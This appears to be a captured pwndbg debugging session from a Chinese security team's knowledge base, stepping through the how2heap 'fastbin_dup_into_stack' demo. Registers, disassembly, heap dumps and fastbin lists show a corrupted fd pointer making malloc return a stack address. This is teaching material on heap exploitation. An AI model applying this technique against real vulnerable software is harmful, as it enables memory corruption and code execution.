RAX 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RDI 0x2
RSI 0x7fffffffbed0 ◂— 0xa6e8a89ce5b08ee7
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x62
R10 0x32783020a29de98d
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400985 (main+735) ◂— 0xfbf1e800000008bf
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400973 lea rax, [rbp - 0x48]
0x400977 sub rax, 8
0x40097b mov rdx, rax
0x40097e mov rax, qword ptr [rbp - 0x28]
0x400982 mov qword ptr [rax], rdx
► 0x400985 mov edi, 8
0x40098a call malloc@plt <0x400580>
0x40098f mov qword ptr [rbp - 0x18], rax
0x400993 mov rax, qword ptr [rbp - 0x18]
0x400997 movabs rcx, 0x4646464646464646
0x4009a1 mov qword ptr [rax], rcx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
44 stack_var = 0x20;
45
46 fprintf(stderr, "现在覆盖 %p 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置\n", a);
47 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
48
► 49 char* f = malloc(8);
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
53 strcpy(g, "GGGGGGGG");
54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rdx rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
03:0018│ 0x7fffffffe578 —▸ 0x603030 ◂— 'EEEEEEEE'
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 —▸ 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x4005b0 (_start) ◂— 0x89485ed18949ed31
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400985 main+735
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffe560 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Freed 0x7fffffffe560 None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> bin
fastbins
0x20: 0x603000 —▸ 0x7fffffffe560 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> b 54
Breakpoint 4 at 0x4009e8: file fastbin_dup_into_stack.c, line 54.
pwndbg> c
Continuing.
第三次 malloc(8): 0x603010, 把栈地址放到 fastbin 链表中
Breakpoint 4, main () at fastbin_dup_into_stack.c:54
54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x7fffffffe570 ◂— 'GGGGGGGG'
RBX 0x0
RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x0
RDX 0x7fffffffe570 ◂— 'GGGGGGGG'
RDI 0x0
RSI 0x4747474747474747 ('GGGGGGGG')
R8 0x603010 ◂— 'FFFFFFFF'
R9 0x44
R10 0xe8be93e9206e6962
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x4009e8 (main+834) ◂— 0x4800201671058b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4009e8 mov rax, qword ptr [rip + 0x201671] <0x602060>
0x4009ef mov rdx, qword ptr [rbp - 0x10]
0x4009f3 mov esi, 0x400e68
0x4009f8 mov rdi, rax
0x4009fb mov eax, 0
0x400a00 call fprintf@plt <0x400570>
0x400a05 mov eax, 0
0x400a0a mov rcx, qword ptr [rbp - 8]
0x400a0e xor rcx, qword ptr fs:[0x28]
0x400a17 je main+888 <0x400a1e>
0x400a19 call __stack_chk_fail@plt <0x400550>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
49 char* f = malloc(8);
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
53 strcpy(g, "GGGGGGGG");
► 54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ rax rdx 0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│ 0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009e8 main+834
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_into_stack.c:54
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4646464646464646 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> n
这一次 malloc(8) 就申请到了栈上去: 0x7fffffffe570
55 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbed0 ◂— 0xace680b8e499bfe8
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x3d
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— 0x89485ed18949ed31
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400a20 (__libc_csu_init) ◂— 0x41ff894156415741
RSP 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
RIP 0x400a0a (main+868) ◂— 0xc334864f84d8b48
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x4009f3 mov esi, 0x400e68
0x4009f8 mov rdi, rax
0x4009fb mov eax, 0
0x400a00 call fprintf@plt <0x400570>
0x400a05 mov eax, 0
► 0x400a0a mov rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
0x400a0e xor rcx, qword ptr fs:[0x28]
0x400a17 je main+888 <0x400a1e>
↓
0x400a1e leave
0x400a1f ret
0x400a20 <__libc_csu_init> push r15
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_into_stack.c
50 strcpy(f, "FFFFFFFF");
51 fprintf(stderr, "第三次 malloc(8): %p, 把栈地址放到 fastbin 链表中\n", f);
52 char* g = malloc(8);
53 strcpy(g, "GGGGGGGG");
54 fprintf(stderr, "这一次 malloc(8) 就申请到了栈上去: %p\n", g);
► 55 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 —▸ 0x7ffff7ffe168 ◂— 0x0
01:0008│ 0x7fffffffe568 ◂— 0x20 /* ' ' */
02:0010│ 0x7fffffffe570 ◂— 'GGGGGGGG'
03:0018│ 0x7fffffffe578 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe580 —▸ 0x603050 ◂— 'CCCCCCCC'
05:0028│ 0x7fffffffe588 —▸ 0x603010 ◂— 'FFFFFFFF'
06:0030│ 0x7fffffffe590 —▸ 0x603030 ◂— 'EEEEEEEE'
07:0038│ 0x7fffffffe598 —▸ 0x603010 ◂— 'FFFFFFFF'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400a0a main+868
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x20 Used None None
0x603020 0x0 0x20 Used None None
0x603040 0x0 0x20 Used None None
pwndbg> x/20gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x4646464646464646 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x4545454545454545 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x4343434343434343 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p &stack_var
$1 = (unsigned long long *) 0x7fffffffe568
pwndbg> x/10gx 0x7fffffffe568
0x7fffffffe568: 0x0000000000000020 0x4747474747474747
0x7fffffffe578: 0x0000000000603000 0x0000000000603050
0x7fffffffe588: 0x0000000000603010 0x0000000000603030
0x7fffffffe598: 0x0000000000603010 0x00007fffffffe570
0x7fffffffe5a8: 0xe609b5a9bd5a1300 0x0000000000400a20
pwndbg>
【PWN】how2heap | 狼组安全团队公开知识库